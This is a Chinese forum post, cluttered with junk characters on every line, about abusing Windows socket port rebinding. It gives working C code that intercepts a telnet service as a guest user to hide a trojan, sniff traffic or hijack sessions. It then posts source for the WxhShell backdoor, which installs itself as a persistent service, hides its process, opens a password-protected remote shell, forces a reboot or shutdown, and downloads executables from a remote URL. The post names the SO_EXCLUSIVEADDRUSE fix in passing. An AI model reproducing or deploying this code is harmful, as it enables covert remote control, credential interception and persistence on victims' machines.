社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 8926阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FR9w0{o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e{EC# %x_  
uTShz3  
  saddr.sin_family = AF_INET; Z";&1cK  
` 0$i^,}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /0Jf/-}ovn  
eA{ nwtN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >&DC[)28  
pV8_i7\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nND; lVQSO  
Z~0TO-Q  
  这意味着什么?意味着可以进行如下的攻击: `uKsFX M  
vjL +fH<0:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !>:SPt l  
_<E.?K$gbU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T_)g/,5>  
/Nc)bF%gX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h;+{0a  
iQJa6QF&:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #a`D6;  
M7[GwA[Z +  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nTtE+~u  
oE.Ckz~*d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eMV{rFmT  
k vpkWD;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZaBmH|k  
;A G&QdTMh  
  #include +v2)'?BS  
  #include ^w!1QH0:/  
  #include _/czH<   
  #include    Y{Ff I+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9u6VN]divB  
  int main() f, '*f:(  
  { cR{F|0X  
  WORD wVersionRequested; Z%Pv,h'Q  
  DWORD ret; zfD@/kU  
  WSADATA wsaData; &cWC&Ws"  
  BOOL val; GlHP`&;UH  
  SOCKADDR_IN saddr; mm9uhlV8  
  SOCKADDR_IN scaddr; =F2`X#x_j  
  int err; { 2%'=v  
  SOCKET s; 4Q!|fn0Sv  
  SOCKET sc; "38L ,PW0Z  
  int caddsize; 28LBvJVq@  
  HANDLE mt; %aI,K0\  
  DWORD tid;   1COSbi]  
  wVersionRequested = MAKEWORD( 2, 2 ); ih|;H:"^  
  err = WSAStartup( wVersionRequested, &wsaData ); DfU]+;AE  
  if ( err != 0 ) { x5Ue"RMl+  
  printf("error!WSAStartup failed!\n"); :GN++\ 1pw  
  return -1; !}5f{,.RO  
  } 74 W Ky  
  saddr.sin_family = AF_INET; NEUr w/  
   e^<'H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gyQPQ;"H$2  
!4a#);`G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S"VO@)d  
  saddr.sin_port = htons(23); G|*&owJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 67;6nXG0K  
  { l^XOW- ;u  
  printf("error!socket failed!\n"); No8-Hm  
  return -1; d A'0'M  
  } %)72glB  
  val = TRUE; 3-=AmRxW't  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +I\54PBws  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %Z+**>1J  
  { PqIskv+  
  printf("error!setsockopt failed!\n"); bU/4KZ'-^  
  return -1; BoQ%QV69%  
  } J )^F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  @M OaXe  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0~z`>#W,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d-C%R9  
;[79Ewd#$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -dWg1`;  
  { diNAT`|?#  
  ret=GetLastError(); .p]r S =#  
  printf("error!bind failed!\n"); Dpwqg3,  
  return -1; #K`0b$  
  } fLpWTkr0  
  listen(s,2); ek.@ 0c  
  while(1) rq^%)tR  
  { =k*XGbU  
  caddsize = sizeof(scaddr); mr2Mu  
  //接受连接请求 k+%&dEE|vH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?(U a+*b  
  if(sc!=INVALID_SOCKET) 73 4t  
  { U{KnjoS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o*artMkG  
  if(mt==NULL) Y]=k"]:%  
  { "hQGk  
  printf("Thread Creat Failed!\n"); cRMyYdJ o  
  break; q`'"+`h  
  } t`'jr=e,~  
  } LXWI'nxV  
  CloseHandle(mt); qco uZO  
  } %Oo f/q  
  closesocket(s); D)bL;h  
  WSACleanup(); xFekSH7[F  
  return 0; (c&%1bJ  
  }   IBvn q8\  
  DWORD WINAPI ClientThread(LPVOID lpParam) e/_QS}OA  
  { Fc8 0HK5R  
  SOCKET ss = (SOCKET)lpParam; dF09_nw  
  SOCKET sc; J2 /19'QE  
  unsigned char buf[4096]; BG8/  
  SOCKADDR_IN saddr; E]8uj8K3]  
  long num; Ch3MwM5]  
  DWORD val; 9=j)g  
  DWORD ret; L,.AY?)+7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SSxz1y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V%)Tu{L  
  saddr.sin_family = AF_INET; S*>T%#F6Uo  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NM^uP+uS  
  saddr.sin_port = htons(23); wx[m-\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~#4FL<W  
  { 8MI8~  
  printf("error!socket failed!\n"); uO-|?{29  
  return -1; ,[T/O\k  
  }  \m~p;B  
  val = 100; *sZH3:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6-uLK'E  
  { -%]1q#C>@  
  ret = GetLastError(); gwsIzYV  
  return -1; PqL. ^  
  } jVLJ qWP'!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xz)qtDN|(  
  { <5mv8'{L  
  ret = GetLastError(); w3"L5;oH  
  return -1; `Oi#`lC\  
  } AC'_#nPL#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^a`3)WBv8  
  { dHTx^1  
  printf("error!socket connect failed!\n"); -Ci&h  
  closesocket(sc); ^iBIp#  
  closesocket(ss); %k32:qe  
  return -1; /:Gy .  
  } 'e' p`*  
  while(1) }IZw6KiN  
  { _{; _wwz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9P ACXW0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hdi0YL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lZ7 $DGe  
  num = recv(ss,buf,4096,0); x{8h3.ZQ,  
  if(num>0) 0M roHFh9`  
  send(sc,buf,num,0); uoOUgNwGg  
  else if(num==0) ^e <E/j{~  
  break; Vs{\ YfF  
  num = recv(sc,buf,4096,0); s3nO"~tM  
  if(num>0) ;Vc|3  
  send(ss,buf,num,0); In?#?:Q@&  
  else if(num==0) pqb`g@  
  break; |,5|ZpgL  
  } $H[q5(_~  
  closesocket(ss); 5O d]rE  
  closesocket(sc); -aVC`  
  return 0 ; ZZZ9C#hK^9  
  } b=xn(HE8|  
$ ,]U~7S  
~Gz9pBv1  
========================================================== _<{<b  
&^DVSVqs^  
下边附上一个代码,,WXhSHELL =EMB~i  
f+hHc8g  
========================================================== [:#K_EI5%  
knYp"<qj  
#include "stdafx.h" 'sH_^{V2  
6 iMJ0  
#include <stdio.h> c`p '5qz  
#include <string.h> <$zhNu~  
#include <windows.h> 7L6L{~8 W  
#include <winsock2.h> A"&<$5Q  
#include <winsvc.h> CxjB9#  
#include <urlmon.h> MjQju@  
[2Zy~`*y{  
#pragma comment (lib, "Ws2_32.lib") 0QW=2rs  
#pragma comment (lib, "urlmon.lib") M /v@C*c  
!rr,(!Ip?O  
#define MAX_USER   100 // 最大客户端连接数 hL6;n*S=  
#define BUF_SOCK   200 // sock buffer ;>jEeIlT  
#define KEY_BUFF   255 // 输入 buffer o h\$u5  
%+Ze$c}X  
#define REBOOT     0   // 重启 Tn1V+)  
#define SHUTDOWN   1   // 关机 }.E^_`  
&e:+;7  
#define DEF_PORT   5000 // 监听端口 abT,"a\h  
=WW5H\?  
#define REG_LEN     16   // 注册表键长度 1S!}su,uH  
#define SVC_LEN     80   // NT服务名长度 >@Ht*h{~  
4F G0'J&hw  
// 从dll定义API o.A:29KoU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SU4i'o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]#^v754X^T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tx>7?e8E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E5)0YYjHZ  
9l &q}  
// wxhshell配置信息 6V]m0{:E  
struct WSCFG { :,aY|2si  
  int ws_port;         // 监听端口 Sk>=C0f:  
  char ws_passstr[REG_LEN]; // 口令 !|xB>d q?  
  int ws_autoins;       // 安装标记, 1=yes 0=no t~j 6wsx;  
  char ws_regname[REG_LEN]; // 注册表键名 `3i>e<m~  
  char ws_svcname[REG_LEN]; // 服务名 <MkvlLu((o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~Ay)kv;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HrvyI)4{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }URdoTOvb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2{63:f1c`'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :M6v<Kg{;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yT_W\"=8  
j\~,Gtn>Z  
}; =FhP$r*  
\8QOZjy  
// default Wxhshell configuration ./k7""4   
struct WSCFG wscfg={DEF_PORT, _8u TK%|  
    "xuhuanlingzhe", 5kTs7zJ^  
    1, *YeQC t-l  
    "Wxhshell", jBYv Oy*$Q  
    "Wxhshell", S\8v)|Pr  
            "WxhShell Service", eN,9N]K  
    "Wrsky Windows CmdShell Service", zU ~ Ff"<  
    "Please Input Your Password: ", 2vjkThh`I  
  1, ?#=xx.cF  
  "http://www.wrsky.com/wxhshell.exe", 6d6cZGS[:  
  "Wxhshell.exe" 'Tjvq%ks   
    }; Ld}?daPj  
Fb]+h)on  
// 消息定义模块 KoNu{TJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EwN{|34C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^_Hf}8H7]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G5/A {1sz&  
char *msg_ws_ext="\n\rExit."; 2@6@|jRG  
char *msg_ws_end="\n\rQuit."; `_OrBu[  
char *msg_ws_boot="\n\rReboot..."; ==m[t- 9x  
char *msg_ws_poff="\n\rShutdown..."; ^BA%]pe$I  
char *msg_ws_down="\n\rSave to "; `/>kN%  
Dc-K08c  
char *msg_ws_err="\n\rErr!"; .5G`Y  
char *msg_ws_ok="\n\rOK!"; jjj<B'zt  
;(/go\m tB  
char ExeFile[MAX_PATH]; ]5f;Kz)  
int nUser = 0; {V QGfN  
HANDLE handles[MAX_USER]; f_S$CFa@  
int OsIsNt; 6Bjo9,L  
r9_ ON|  
SERVICE_STATUS       serviceStatus; CZ3oX#b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >z\IO  
Fk/I (Q  
// 函数声明 ZgxB7zl//  
int Install(void); apk,\L@sZ  
int Uninstall(void); hXjZ>n``  
int DownloadFile(char *sURL, SOCKET wsh); 1 6zxPSTr}  
int Boot(int flag); BeVDTk :  
void HideProc(void); fasW b&~z  
int GetOsVer(void); +112{v=!i  
int Wxhshell(SOCKET wsl); ]64}Xob87_  
void TalkWithClient(void *cs); ct3i^,i  
int CmdShell(SOCKET sock); AuXUD9 -  
int StartFromService(void); z.cDbkf}  
int StartWxhshell(LPSTR lpCmdLine); CXuD%H]tx  
Yn ~fnI{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c{/R?<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eW(pP>@k,  
5 qfvHQ ~M  
// 数据结构和表定义 6AAvsu:  
SERVICE_TABLE_ENTRY DispatchTable[] = ;b0Q%TDh  
{ ]LC4rS  
{wscfg.ws_svcname, NTServiceMain}, hI86WP9*  
{NULL, NULL} F0U %m   
}; }MRgNr'k  
0#J~@1Gf  
// 自我安装 1z6aMd6.  
int Install(void) Z\IM~-  
{ .pUB.l$)  
  char svExeFile[MAX_PATH]; lw9jk`7^  
  HKEY key; ZxnPSA@%  
  strcpy(svExeFile,ExeFile); 'lZlfS:Z8  
ES+ CAwqf  
// 如果是win9x系统,修改注册表设为自启动 et 1HbX  
if(!OsIsNt) { kBR=a%kG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EE  1D>I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2O=$[b3  
  RegCloseKey(key); XZ |L D#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $k\bP9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vTK%8qoZ  
  RegCloseKey(key); k2D*`\ D  
  return 0; tw$EwNI[  
    } J=3{<Xl  
  } hH1Q:}a  
} _s^tL2Pc  
else { h.vy SwF"j  
JI!1 .]&  
// 如果是NT以上系统,安装为系统服务 vMp=\U-~^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;-u]@35  
if (schSCManager!=0) %1A8m-u]M  
{ 89&9VX^A  
  SC_HANDLE schService = CreateService ,/+Mp  
  ( #,#_"  
  schSCManager, ;O hQBAC  
  wscfg.ws_svcname, 8?nn4]P  
  wscfg.ws_svcdisp, ]20:8l'  
  SERVICE_ALL_ACCESS, M +OVqTsFU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %HG+ |)b  
  SERVICE_AUTO_START, 7He"IJ  
  SERVICE_ERROR_NORMAL, FAnz0p+t  
  svExeFile, ED>7  
  NULL, 5<(* +mP`  
  NULL, w PR Ns9^  
  NULL, LLTr+@lj  
  NULL, QPf\lN/$4d  
  NULL _;PQt" ]  
  ); HKJCiQ|k  
  if (schService!=0) ;I*t5{  
  { XE2Un1i}j1  
  CloseServiceHandle(schService); 0cHcBxdF  
  CloseServiceHandle(schSCManager); Eg`~mE+a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gky*EY  
  strcat(svExeFile,wscfg.ws_svcname); m-O*t$6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j_rO_m<8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :(~<BiqR(  
  RegCloseKey(key); s1_Y~<y X  
  return 0; #!Cg$6%x9  
    } ,5c7jZ5H  
  } ZvF#J_%gE5  
  CloseServiceHandle(schSCManager); d8: $ll  
} }6[jJ`=gOx  
} _|C3\x1c  
I'P|:XKI  
return 1; _K9PA[m5 ~  
} 3J"`mQ  
uY~mi9E  
// 自我卸载 /9ORVV  
int Uninstall(void) IMD^(k 2  
{ hFA |(l6  
  HKEY key; {Ycgq%1>]  
9mD dX  
if(!OsIsNt) { P[ o"%NZ'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $R #_c}  
  RegDeleteValue(key,wscfg.ws_regname); MlWKfe<  
  RegCloseKey(key); Jzf+"%lv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {O _X/y~  
  RegDeleteValue(key,wscfg.ws_regname); aZ~e;}w.Zq  
  RegCloseKey(key); rwDLBpk  
  return 0; I '0[  
  } *x8~}/[T(F  
} ZiR}S  
} HCOsVTl,  
else { =~O3j:<6  
.'M.yE~5J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); my sXgS&S  
if (schSCManager!=0) 8x1!15Wiz  
{ ]xvhUv!G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YTTy6*\,_  
  if (schService!=0) .K~V DUu  
  { On);SN'  
  if(DeleteService(schService)!=0) { O])vR<[  
  CloseServiceHandle(schService); ,$Fh^KNo]  
  CloseServiceHandle(schSCManager); M %zf?>])  
  return 0; +iN!$zF5]  
  } x}a?B  
  CloseServiceHandle(schService); GThGV"  
  } \Nik`v*Pd  
  CloseServiceHandle(schSCManager); eM$a~4!d  
} %. ((4 6)  
} ;,U@zB;\%(  
Ds] .Ae  
return 1; Eo$l-Hl5=  
} T+XcEI6w  
?T73BL=  
// 从指定url下载文件 eW.qMx#:od  
int DownloadFile(char *sURL, SOCKET wsh) z&!o1uq  
{ iOa<=  
  HRESULT hr; T|\sN*}\8J  
char seps[]= "/"; z]g#2xD2  
char *token; Jy:@&c  
char *file; n2*Ua/J-8  
char myURL[MAX_PATH]; CxaI@+  
char myFILE[MAX_PATH]; 7Z]?a  
%tkqWK:  
strcpy(myURL,sURL); qX5]\nX&G  
  token=strtok(myURL,seps); Pq~#SxA~  
  while(token!=NULL) W\<OCD%X  
  { {!( htg;  
    file=token; w:B&8I(n}w  
  token=strtok(NULL,seps); {C`M<2W]  
  } =KR^0<2r  
GX19GI@k  
GetCurrentDirectory(MAX_PATH,myFILE); ~C 3 Y/}  
strcat(myFILE, "\\"); q#Otp\f  
strcat(myFILE, file); q:up8-LAr  
  send(wsh,myFILE,strlen(myFILE),0); :D}?H@(69  
send(wsh,"...",3,0); @I Y<i5(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Flpl,|n a  
  if(hr==S_OK) 1;./e&%%  
return 0; 5D3&E_S  
else vyc<RjS_x  
return 1; d<?Zaehe\  
:OU(fz]  
} T:Q+ Z }v+  
"nJMS6HJ[  
// 系统电源模块 uR")@Tc  
int Boot(int flag) sfG9R"  
{ LU*mR{B  
  HANDLE hToken; :zC=JvKT  
  TOKEN_PRIVILEGES tkp; MeV4s%*O+  
?>=vKU5  
  if(OsIsNt) { fm^tU0DY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n}%_H4t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x2~fc  
    tkp.PrivilegeCount = 1; r_ 9"^Er  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zGO_S\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;,/G*`81B  
if(flag==REBOOT) { 5-a^Frmg#"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mMZ=9 ?m  
  return 0; WZA1nzRc  
} +7"UF) ~k  
else { iw(`7(*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \8Ewl|"N:u  
  return 0; S]ndnxy"b  
} $m.'d*e5  
  } z xv y&  
  else { k?pNmKVJM  
if(flag==REBOOT) { K:4 G(?w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S-6i5H"B&  
  return 0; |a1zJ_t4  
} C>l (4*S  
else { ]w)uo4<^J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (s1iYK  
  return 0; F":dS-u&L  
} 1:h(8%H@"  
} y}QqS/  
_n*gj-  
return 1; '+|uv7|+v  
} <+ <o X"I  
@ bvWqMa  
// win9x进程隐藏模块 {dl@ #T u  
void HideProc(void) BaCzN;)  
{ ' wLW`GX.  
4mGRk)hk:>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^SUo-N''  
  if ( hKernel != NULL ) <p_2&& ?  
  { |<YF.7r;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q>=/u-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 48GaZ@v  
    FreeLibrary(hKernel); U$ZbBVa`~  
  } @bFl8-  
F>u/Lh!  
return; '~6l 6wi  
} SZgan  
^3&-!<*  
// 获取操作系统版本 tN)Vpb\J  
int GetOsVer(void) >vfLlYx  
{ x6yO2Yo  
  OSVERSIONINFO winfo; b!;WF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4=ha$3h$  
  GetVersionEx(&winfo); Z!?T&:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j~ qm5}  
  return 1; G#^6H]`[J:  
  else G|$n,X1O(  
  return 0; dfeN_0` -  
} B<!wh  
1N8YD .3  
// 客户端句柄模块 BGT`) WP  
int Wxhshell(SOCKET wsl) SkXx: @  
{ i;+<5_   
  SOCKET wsh; kb*b|pWlO  
  struct sockaddr_in client; M w+4atO4[  
  DWORD myID; G>^ _&(c@2  
1UH_"Q03  
  while(nUser<MAX_USER) 'Ya-;5Y]  
{ KU0;}GSNX}  
  int nSize=sizeof(client); PurY_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cmLI!"RLe  
  if(wsh==INVALID_SOCKET) return 1; apm,$Vvjy  
6;\Tps;A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hcD.-(-;)  
if(handles[nUser]==0) iEBxBsz_  
  closesocket(wsh); +Kg3qS"  
else e]d\S] 5  
  nUser++; Q mz3GH@wg  
  } -F-,Gcos  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^W,x  
kh*td(pfP9  
  return 0; FwSV \N+#'  
} QtqE&j  
?Qh[vcF7`  
// 关闭 socket SL% Ec%9Y  
void CloseIt(SOCKET wsh) h6gtO$A|p=  
{ }Mh`j $  
closesocket(wsh); *7/MeE6)i  
nUser--; I#t# %!InH  
ExitThread(0); u&Y1,:hiL  
} ) ]]PhGX~  
~M J3-<I  
// 客户端请求句柄 x@"`KiEUs  
void TalkWithClient(void *cs) fL R.2vJ  
{ q/\Hh9`  
\E:l E/y  
  SOCKET wsh=(SOCKET)cs; 2W`<P2IA  
  char pwd[SVC_LEN]; {&Sr<d5  
  char cmd[KEY_BUFF]; 8J#TP7;  
char chr[1]; H Ff9^  
int i,j; fxX4 !r  
 AQz&u  
  while (nUser < MAX_USER) { A&;Pt/#'  
;!N_8{ 7r  
if(wscfg.ws_passstr) { RjQdlr6*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r)t-_p37  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xc@%_6  
  //ZeroMemory(pwd,KEY_BUFF); 4EEXt<c.  
      i=0; X6c['Zrc  
  while(i<SVC_LEN) { _S#3!Wx  
&l1CE1 9<  
  // 设置超时 umj5M5oe3  
  fd_set FdRead; +QVe -  
  struct timeval TimeOut; fxk6q$'  
  FD_ZERO(&FdRead); J"RmV@|  
  FD_SET(wsh,&FdRead); +aIy':P  
  TimeOut.tv_sec=8; C")NN s =  
  TimeOut.tv_usec=0; yE),GJ-m\<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q" an6ht|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qw%wyj7  
5oI gxy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HvVS<Ke  
  pwd=chr[0]; @8 GW?R  
  if(chr[0]==0xd || chr[0]==0xa) { 'uA$$~1  
  pwd=0; xu0pY(n^r  
  break; O_wRI\ !  
  } ZnYoh/  
  i++; ;;l-E>X0  
    } {VrjDj+Xy  
<swY o<?J#  
  // 如果是非法用户,关闭 socket [ 6t!}q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |#!P!p}  
} wNm~H  
!NFP=m1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r6eApKZ>f6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,t_Fo-i7vI  
0FD+iID  
while(1) { WKPuIE:  
Fs EPM"&?h  
  ZeroMemory(cmd,KEY_BUFF); A `n:q;my  
kUG3_ *1 .  
      // 自动支持客户端 telnet标准   (t)a u  
  j=0; K2R[u#Q  
  while(j<KEY_BUFF) { {n>W8sN<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pI|H9  
  cmd[j]=chr[0]; BWN[>H %S  
  if(chr[0]==0xa || chr[0]==0xd) { S7 Tem:/  
  cmd[j]=0; (Q09$  
  break; FO5'<G-  
  } !EQMTF=(  
  j++; v(tr:[V  
    } h .$3 jNU  
7&z`N^dz{  
  // 下载文件 "ewB4F[  
  if(strstr(cmd,"http://")) { q9&d24|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^g56:j~?  
  if(DownloadFile(cmd,wsh)) 77I D 82  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h0fbc;l  
  else GM<r{6Qy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &<sN( ;%0R  
  } Q@lJ|  
  else { 7 n=fB#!*3  
( nH3  
    switch(cmd[0]) { U0:tE>3`  
  2x7%6'  
  // 帮助 B3^4,'  
  case '?': { 3;J)&(j0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {~ngI<  
    break; A;A>Q`JJF  
  } to  
  // 安装 'j+J?Y^  
  case 'i': { A"@C }f  
    if(Install()) ,4wZ/r> d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dab1^H!KT  
    else =K)au$BE|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b}[W[J}`  
    break; vK?{Z^J][  
    } 'J`%[,@V  
  // 卸载 PiRbdl  
  case 'r': { f`j RLo*L  
    if(Uninstall()) Nz&J&\X)tD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yU(k;A-  
    else YrR}55V,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uv06f+P(  
    break; e_BOzN~c  
    } y8KJoVP iM  
  // 显示 wxhshell 所在路径 C9q`x2  
  case 'p': { ^vmyiF  
    char svExeFile[MAX_PATH]; o|nj2.  
    strcpy(svExeFile,"\n\r"); 5[|MO.CB$  
      strcat(svExeFile,ExeFile); ^xGdRa U#  
        send(wsh,svExeFile,strlen(svExeFile),0); ;ml;{<jI  
    break; )up!W4h6o  
    } Z=Oo%lM6B  
  // 重启 2EOt.4cP  
  case 'b': { ;TK:D=p4  
